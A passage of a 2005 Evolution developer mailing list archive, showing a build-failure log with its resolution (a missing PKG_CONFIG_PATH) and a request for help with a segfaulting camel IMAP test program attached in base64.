-I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/includ= e -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/gconf/2 -I/usr= /include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libg= nomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 -I/usr/includ= e/libgnomeprint-2.2     -DORBIT2=3D1 -pthread -DXTHREAD= S -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/i= nclude -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include= /gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/u= sr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/inclu= de/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/u= sr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype= 2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I= /usr/include/libxml2 -I/usr/include/gal-2.4 -I/usr/include/libglade-2.0 -I/= usr/include/libgnomeprint-2.2 -I/usr/include/libgtkhtml-3.6 -I/usr/include/= libgnomeprintui-2.2     -DORBIT2=3D1 -pthread -DXTHREAD= S -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/i= nclude -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include= /gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/u= sr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/inclu= de/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/u= sr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype= 2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I= /usr/include/libxml2        -g -O2 -Wall= -Wmissing-prototypes  -Wno-sign-compare -c `test -f 'e-shell-window-c= ommands.c' || echo './'`e-shell-window-commands.c
e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No such fi= le or directory
e-shell-window-commands.c: In function `command_forget_passwords':
e-shell-window-commands.c:572: warning: implicit declaration of function `e= _passwords_forget_passwords'
e-shell-window-commands.c: At top level:
e-shell-window-commands.c:479: warning: `command_help_faq' defined but not = used
make[2]: *** [e-shell-window-commands.o] Error 1
make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell'
make: *** [all] Error 2
freax@lort:~/cvs/gnome/evolution/shell $

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-7YKSWC/pz6Gx5HS8IBFo-- From spamfrommailing@freax.org Mon Feb 28 04:18:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 85897124551; Mon, 28 Feb 2005 04:18:04 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 40E351242DE for ; Mon, 28 Feb 2005 04:17:52 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id B6F23139420A for ; Mon, 28 Feb 2005 10:17:49 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03550-09 for ; Mon, 28 Feb 2005 10:17:42 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 490F61394115 for ; Mon, 28 Feb 2005 10:17:42 +0100 (CET) Subject: Re: [Evolution-hackers] Current CVS failes to build (e_passwords_forget_passwords and libedataserverui/e-passwords.h) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com In-Reply-To: <1109581630.9416.8.camel@localhost.localdomain> References: <1109581630.9416.8.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-SIZFLpFWBWPgADGWJNwM" Date: Mon, 28 Feb 2005 10:17:42 +0100 Message-Id: <1109582262.9416.9.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-19.1 required=5.0 tests=EMAIL_ATTRIBUTION,FORGOTTEN_PASSWORD,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-SIZFLpFWBWPgADGWJNwM Content-Type: text/plain Content-Transfer-Encoding: 7bit My own mistake, I forgot to add this to my environment variables :-) PKG_CONFIG_PATH=/opt/evo/lib/pkgconfig/ On Mon, 2005-02-28 at 10:07 +0100, Philip Van Hoof wrote: > > Note: e-d-s, here, is also updated and on non-anoncvs > > freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d > cvs server: Updating . > cvs server: Updating glade > cvs server: Updating idl > cvs server: Updating importer > freax@lort:~/cvs/gnome/evolution/shell $ make > make all-recursive > make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell' > Making all in importer > make[2]: Entering directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make all-am > make[3]: Entering directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[3]: Nothing to be done for `all-am'. > make[3]: Leaving directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[2]: Leaving directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell' > source='e-shell-window-commands.c' object='e-shell-window-commands.o' > libtool=no \ > depfile='.deps/e-shell-window-commands.Po' > tmpdepfile='.deps/e-shell-window-commands.TPo' \ > depmode=gcc3 /bin/sh ../depcomp \ > gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. > -DEVOLUTION_IMAGES=\""/opt/evo//share/evolution/2.2/images"\" > -DEVOLUTION_LOCALEDIR=\""/opt/evo//share/locale"\" > -DEVOLUTION_DATADIR=\""/opt/evo//share"\" -DEVOLUTION_GLADEDIR= > \""/opt/evo//share/evolution/2.2/glade"\" -DEVOLUTION_HELPDIR= > \""/opt/evo//share/evolution/2.2/help"\" -DEVOLUTION_UIDIR= > \""/opt/evo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR= > \""/opt/evo//libexec/evolution/2.2"\" -DPREFIX=\""/opt/evo/"\" > -DSYSCONFDIR=\""/opt/evo//etc"\" -DDATADIR=\""/opt/evo//share"\" > -DLIBDIR=\""/opt/evo//share"\" -DG_LOG_DOMAIN=\"evolution-shell\" > -DORBIT2=1 -pthread -I/usr/include/evolution-data-server-1.2 > -I/usr/include/libgnome-2.0 -I/usr/include/libbonobo-2.0 > -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include > -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 > -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include > -I/usr/include/bonobo-activation-2.0 -I/usr/include/libxml2 > -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/glib-2.0 > -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 > -I/usr/include/orbit-2.0 -I/usr/include/libxml2 > -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 > -I/usr/include/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 > -I/usr/include/libart-2.0 -I/usr/include/pango-1.0 > -I/usr/include/freetype2 -I/usr/include/gtk-2.0 > -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 > -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 > -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libgnomeui-2.0 > -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 > -I/usr/include/libgnomeprint-2.2 -DORBIT2=1 -pthread -DXTHREADS > -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 > -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 > -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 > -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include > -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 > -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 > -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 > -I/usr/include/pango-1.0 -I/usr/include/freetype2 > -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 > -I/usr/include/libxml2 -I/usr/include/gal-2.4 > -I/usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 > -I/usr/include/libgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2 > -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 > -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include > -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 > -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 > -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 > -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 > -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 > -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 > -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include > -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 > -g -O2 -Wall -Wmissing-prototypes -Wno-sign-compare -c `test -f > 'e-shell-window-commands.c' || echo './'`e-shell-window-commands.c > e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No > such file or directory > e-shell-window-commands.c: In function `command_forget_passwords': > e-shell-window-commands.c:572: warning: implicit declaration of > function `e_passwords_forget_passwords' > e-shell-window-commands.c: At top level: > e-shell-window-commands.c:479: warning: `command_help_faq' defined but > not used > make[2]: *** [e-shell-window-commands.o] Error 1 > make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' > make: *** [all] Error 2 > freax@lort:~/cvs/gnome/evolution/shell $ > > -- > Philip Van Hoof, Software Developer @ Cronos > home: me at freax dot org > gnome: pvanhoof at gnome dot org > work: philip dot vanhoof at cronos dot be > junk: philip dot vanhoof at gmail dot com > http://www.freax.be, http://www.freax.eu.org -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-SIZFLpFWBWPgADGWJNwM Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
My own mistake, I forgot to add this to my environment variables :-)

PKG_CONFIG_PATH=3D/opt/evo/lib/pkgconfig/

On Mon, 2005-02-28 at 10:07 +0100, Philip Van Hoof wrote:

Note: e-d-s, here, is also updated and on non-a= noncvs

freax@lort:~/cvs/gnome/evolution/shell $ cvs up= date -d
cvs server: Updating .
cvs server: Updating glade
cvs server: Updating idl
cvs server: Updating importer
freax@lort:~/cvs/gnome/evolution/shell $ make
make  all-recursive
make[1]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell'
Making all in importer
make[2]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell/importer'
make  all-am
make[3]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell/importer'
make[3]: Nothing to be done for `all-am'.
make[3]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell/importer'
make[2]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell/importer'
make[2]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell'
source=3D'e-shell-window-commands.c' object=3D'= e-shell-window-commands.o' libtool=3Dno \
depfile=3D'.deps/e-shell-window-commands.Po' tm= pdepfile=3D'.deps/e-shell-window-commands.TPo' \
depmode=3Dgcc3 /bin/sh ../depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -= I../widgets/misc -I.. -DEVOLUTION_IMAGES=3D\""/opt/evo//share/evo= lution/2.2/images"\" -DEVOLUTION_LOCALEDIR=3D\""/opt/ev= o//share/locale"\" -DEVOLUTION_DATADIR=3D\""/opt/evo//s= hare"\" -DEVOLUTION_GLADEDIR=3D\""/opt/evo//share/evolu= tion/2.2/glade"\" -DEVOLUTION_HELPDIR=3D\""/opt/evo//sh= are/evolution/2.2/help"\" -DEVOLUTION_UIDIR=3D\""/opt/e= vo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR=3D\""= ;/opt/evo//libexec/evolution/2.2"\" -DPREFIX=3D\""/opt/= evo/"\" -DSYSCONFDIR=3D\""/opt/evo//etc"\" -D= DATADIR=3D\""/opt/evo//share"\" -DLIBDIR=3D\""= ;/opt/evo//share"\" -DG_LOG_DOMAIN=3D\"evolution-shell\"= ; -DORBIT2=3D1 -pthread -I/usr/include/evolution-data-server-1.2 -I/usr/inc= lude/libgnome-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/glib-2.0 -I/u= sr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 -I/= usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/b= onobo-activation-2.0 -I/usr/include/libxml2    -DORBIT2=3D1 = -pthread -DXTHREADS -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/= usr/include/libbonoboui-2.0 -I/usr/include/orbit-2.0 -I/usr/include/libxml2= -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/incl= ude/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 -I/usr/include/libart= -2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/include/gtk-2= .0 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -= I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0= /include -I/usr/include/libgnomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/i= nclude/gal-2.4 -I/usr/include/libgnomeprint-2.2     -DO= RBIT2=3D1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/gl= ib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/= libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/li= b/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include= /libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I= /usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango= -1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/inclu= de -I/usr/include/atk-1.0 -I/usr/include/libxml2 -I/usr/include/gal-2.4 -I/= usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 -I/usr/include/li= bgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2     -DO= RBIT2=3D1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/gl= ib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/= libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/li= b/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include= /libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I= /usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango= -1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/inclu= de -I/usr/include/atk-1.0 -I/usr/include/libxml2    &nb= sp;   -g -O2 -Wall -Wmissing-prototypes  -Wno-sign-compare -= c `test -f 'e-shell-window-commands.c' || echo './'`e-shell-window-commands= .c
e-shell-window-commands.c:50:42: libedataserver= ui/e-passwords.h: No such file or directory
e-shell-window-commands.c: In function `command= _forget_passwords':
e-shell-window-commands.c:572: warning: implici= t declaration of function `e_passwords_forget_passwords'
e-shell-window-commands.c: At top level:=
e-shell-window-commands.c:479: warning: `comman= d_help_faq' defined but not used
make[2]: *** [e-shell-window-commands.o] Error = 1
make[2]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell'
make: *** [all] Error 2
freax@lort:~/cvs/gnome/evolution/shell $= 

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-SIZFLpFWBWPgADGWJNwM-- From sh@warma.dk Mon Feb 28 06:57:16 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 431B7124313; Mon, 28 Feb 2005 06:57:16 -0500 (EST) Received: from pluto.linuxkonsulent.dk (unknown [193.108.190.253]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 09A12124389 for ; Mon, 28 Feb 2005 06:57:04 -0500 (EST) Received: from [127.0.0.1] (helo=[10.2.30.126]) by pluto.linuxkonsulent.dk with asmtp (Exim 3.35 #1 (Debian)) id 1D5jWu-0006B6-00 for ; Mon, 28 Feb 2005 12:57:40 +0100 From: =?ISO-8859-1?Q?S=F8ren?= Hansen To: evolution-hackers@lists.ximian.com Content-Type: multipart/signed; micalg=sha1; protocol="application/x-pkcs7-signature"; boundary="=-saN20RYOgRtBTRJJgUUD" Date: Mon, 28 Feb 2005 12:57:01 +0100 Message-Id: <1109591821.4468.19.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Problems with camel Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-saN20RYOgRtBTRJJgUUD Content-Type: multipart/mixed; boundary="=-ZSLylqXrgm8DhfbMlX7n" --=-ZSLylqXrgm8DhfbMlX7n Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hi! I'm having a bit of a problem using camel. I'm trying to simply make a small app that can open a camel url and read a message from a message store, but I can't even figure out how to make a connection without it segfaulting on me.. I've attaced the code and a makefile. Any help? --=20 S=C3=B8ren Hansen --=-ZSLylqXrgm8DhfbMlX7n Content-Disposition: attachment; filename=camel-test.c Content-Transfer-Encoding: base64 Content-Type: text/x-csrc; name=camel-test.c; charset=UTF-8 ICNpbmNsdWRlICJjYW1lbC9jYW1lbC5oIg0KICNpbmNsdWRlIDxnbGliLmg+DQogDQogY2hhciAq Z2V0X3Bhc3MoQ2FtZWxTZXNzaW9uICpzZXNzaW9uLCBDYW1lbFNlcnZpY2UgKnNlcnZpY2UsIGNv bnN0IGNoYXIgKmRvbWFpbiwgY29uc3QgY2hhciAqcHJvbXB0LCBjb25zdCBjaGFyICppdGVtLCBn dWludDMyIGZsYWdzLCBDYW1lbEV4Y2VwdGlvbiAqZXgpIHsNCiAJCXJldHVybigibXlwYXNzd29y ZCIpOw0KIH0NCiANCiBpbnQgbWFpbihnaW50IGFyZ2MsIGdjaGFyICphcmd2W10pIHsNCiAJQ2Ft ZWxTZXNzaW9uICpzZXNzaW9uOw0KIAlDYW1lbEV4Y2VwdGlvbiAqZXg7IA0KIAlDYW1lbFN0b3Jl ICpzdG9yZTsNCiAJQ2FtZWxGb2xkZXIgKmZvbGRlcjsNCiANCiAJZ190aHJlYWRfaW5pdChOVUxM KTsNCiANCiAJY2FtZWxfaW5pdCgiL3RtcCIsIEZBTFNFKTsNCiAJY2FtZWxfdHlwZV9pbml0KCk7 DQogDQogCWV4ID0gY2FtZWxfZXhjZXB0aW9uX25ldygpOw0KIA0KIAlzZXNzaW9uID0gQ0FNRUxf U0VTU0lPTiAoY2FtZWxfb2JqZWN0X25ldyAoQ0FNRUxfU0VTU0lPTl9UWVBFKSk7DQogDQogCSgo Q2FtZWxTZXNzaW9uQ2xhc3MgKikgc2Vzc2lvbiktPmdldF9wYXNzd29yZCA9IGdldF9wYXNzOw0K IA0KIAljYW1lbF9zZXNzaW9uX2NvbnN0cnVjdCAoc2Vzc2lvbiwgIi90bXAiKTsNCiANCiAJY2Ft ZWxfc2Vzc2lvbl9nZXRfc3RvcmUoc2Vzc2lvbiwgImltYXA6Ly9zaEBwbHV0by5saW51eGtvbnN1 bGVudC5kay8iLCBleCk7DQogDQogCWlmIChjYW1lbF9leGNlcHRpb25faXNfc2V0KGV4KSkNCiAJ CXByaW50ZigiJXMiLCBjYW1lbF9leGNlcHRpb25fZ2V0X2Rlc2NyaXB0aW9uKGV4KSk7DQogDQog CWZvbGRlciA9IGNhbWVsX3N0b3JlX2dldF9pbmJveChzdG9yZSwgZXgpOw0KIA0KIAlpZiAoY2Ft ZWxfZXhjZXB0aW9uX2lzX3NldChleCkpDQogCQlwcmludGYoIiVzIiwgY2FtZWxfZXhjZXB0aW9u X2dldF9kZXNjcmlwdGlvbihleCkpOw0KIH0NCg== --=-ZSLylqXrgm8DhfbMlX7n Content-Disposition: attachment; filename=Makefile Content-Transfer-Encoding: base64 Content-Type: text/x-makefile; name=Makefile; charset=UTF-8 YWxsOiBjYW1lbC10ZXN0DQoNCmNhbWVsLXRlc3Q6DQoJbGlidG9vbCAtLW1vZGU9bGluayBnY2Mg LWcgYHBrZy1jb25maWcgLS1jZmxhZ3MgLS1saWJzIGdsaWItMi4wIGNhbWVsLTIuMGAgY2FtZWwt dGVzdC5jIC1vIGNhbWVsLXRlc3QNCg== --=-ZSLylqXrgm8DhfbMlX7n-- --=-saN20RYOgRtBTRJJgUUD Content-Type: application/x-pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIKZDCCBS4w ggQWoAMCAQICBD/F1UYwDQYJKoZIhvcNAQEFBQAwMTELMAkGA1UEBhMCREsxDDAKBgNVBAoTA1RE QzEUMBIGA1UEAxMLVERDIE9DRVMgQ0EwHhcNMDQwOTIxMTUzNzU2WhcNMDYwOTIxMTYwNzU2WjB0 MQswCQYDVQQGEwJESzEpMCcGA1UEChMgSW5nZW4gb3JnYW5pc2F0b3Jpc2sgdGlsa255dG5pbmcx OjATBgNVBAMUDFP4cmVuIEhhbnNlbjAjBgNVBAUTHFBJRDo5MjA4LTIwMDItMi05NzYxMzU3OTAz MDMwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKa8yX6dwX1fG2lFQFeJsdnL1l6gK+Yh1ORs sGB603ClZ7gYPaWFq/JWHvyutgSozKvcU6+ZX8zeHpwV1z6Z4PGNAxjxleWK028VXi0gqKaM46yO iyUIuvLxvXBEA/w5wdvfO3aZBvgUzeTUV1yj0hCTsk+faWIBF7W7dS9w7lERAgMBAAGjggKNMIIC iTAOBgNVHQ8BAf8EBAMCA/gwKwYDVR0QBCQwIoAPMjAwNDA5MjExNTM3NTZagQ8yMDA2MDkyMTE2 MDc1NlowggE3BgNVHSAEggEuMIIBKjCCASYGCiqBUIEpAQEBAQEwggEWMC8GCCsGAQUFBwIBFiNo dHRwOi8vd3d3LmNlcnRpZmlrYXQuZGsvcmVwb3NpdG9yeTCB4gYIKwYBBQUHAgIwgdUwChYDVERD MAMCAQEagcZGb3IgYW52ZW5kZWxzZSBhZiBjZXJ0aWZpa2F0ZXQgZ+ZsZGVyIE9DRVMgdmlsa+Vy LCBDUFMgb2cgT0NFUyBDUCwgZGVyIGthbiBoZW50ZXMgZnJhIHd3dy5jZXJ0aWZpa2F0LmRrL3Jl cG9zaXRvcnkuIEJlbeZyaywgYXQgVERDIGVmdGVyIHZpbGvlcmVuZSBoYXIgZXQgYmVncuZuc2V0 IGFuc3ZhciBpZnQuIHByb2Zlc3Npb25lbGxlIHBhcnRlci4wFgYDVR0RBA8wDYELc2hAd2FybWEu ZGswgZAGA1UdHwSBiDCBhTBKoEigRqREMEIxCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDAS BgNVBAMTC1REQyBPQ0VTIENBMQ8wDQYDVQQDEwZDUkwzOTkwN6A1oDOGMWh0dHA6Ly9jcmwub2Nl cy5jZXJ0aWZpa2F0LmRrL29jZXMvMTA2OTkyOTc5OC5jcmwwHwYDVR0jBBgwFoAUYLWF7FZkfhIZ J2cdUBVLc647+RIwHQYDVR0OBBYEFMOPXueQvwX6721Zj2ILZpWustfFMAkGA1UdEwQCMAAwGQYJ KoZIhvZ9B0EABAwwChsEVjcuMAMCA6gwDQYJKoZIhvcNAQEFBQADggEBAA8bx42vFnZXR4OtWO5I +T7cf+CD4Z3yR2BNfze7Pp5HQfOZwhYLQIrdhuzY2kI7VyON2Ra+OSIpchQi1RvemFYm5Z+NvOnS mDmSMng8JGvNz/L3+9lMoxsTAPS++MK4UQ2PUgdyNd2xkOWGd7UfmdpDEu0Iizbp0YDc+x/aDnpg K913F3+ydpZdSAA8hFnqOAgTvm85cMIhIOXR7+ayTMVKBad7GOhKgVGb/0cfd2acjZqfa/QjEGYa KCsdKvWwcpNNtYIf+CEtKSdGbWp55cdh/5PefglW09aCKvOR0UUQacFcXbOpurelacW/qB2Wkazn aI+06jG/jt3y1f4RJl8wggUuMIIEFqADAgECAgQ/xdVGMA0GCSqGSIb3DQEBBQUAMDExCzAJBgNV BAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMTC1REQyBPQ0VTIENBMB4XDTA0MDkyMTE1Mzc1 NloXDTA2MDkyMTE2MDc1NlowdDELMAkGA1UEBhMCREsxKTAnBgNVBAoTIEluZ2VuIG9yZ2FuaXNh dG9yaXNrIHRpbGtueXRuaW5nMTowEwYDVQQDFAxT+HJlbiBIYW5zZW4wIwYDVQQFExxQSUQ6OTIw OC0yMDAyLTItOTc2MTM1NzkwMzAzMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmvMl+ncF9 XxtpRUBXibHZy9ZeoCvmIdTkbLBgetNwpWe4GD2lhavyVh78rrYEqMyr3FOvmV/M3h6cFdc+meDx jQMY8ZXlitNvFV4tIKimjOOsjoslCLry8b1wRAP8OcHb3zt2mQb4FM3k1Fdco9IQk7JPn2liARe1 u3UvcO5REQIDAQABo4ICjTCCAokwDgYDVR0PAQH/BAQDAgP4MCsGA1UdEAQkMCKADzIwMDQwOTIx MTUzNzU2WoEPMjAwNjA5MjExNjA3NTZaMIIBNwYDVR0gBIIBLjCCASowggEmBgoqgVCBKQEBAQEB MIIBFjAvBggrBgEFBQcCARYjaHR0cDovL3d3dy5jZXJ0aWZpa2F0LmRrL3JlcG9zaXRvcnkwgeIG CCsGAQUFBwICMIHVMAoWA1REQzADAgEBGoHGRm9yIGFudmVuZGVsc2UgYWYgY2VydGlmaWthdGV0 IGfmbGRlciBPQ0VTIHZpbGvlciwgQ1BTIG9nIE9DRVMgQ1AsIGRlciBrYW4gaGVudGVzIGZyYSB3 d3cuY2VydGlmaWthdC5kay9yZXBvc2l0b3J5LiBCZW3mcmssIGF0IFREQyBlZnRlciB2aWxr5XJl bmUgaGFyIGV0IGJlZ3LmbnNldCBhbnN2YXIgaWZ0LiBwcm9mZXNzaW9uZWxsZSBwYXJ0ZXIuMBYG A1UdEQQPMA2BC3NoQHdhcm1hLmRrMIGQBgNVHR8EgYgwgYUwSqBIoEakRDBCMQswCQYDVQQGEwJE SzEMMAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQTEPMA0GA1UEAxMGQ1JMMzk5MDeg 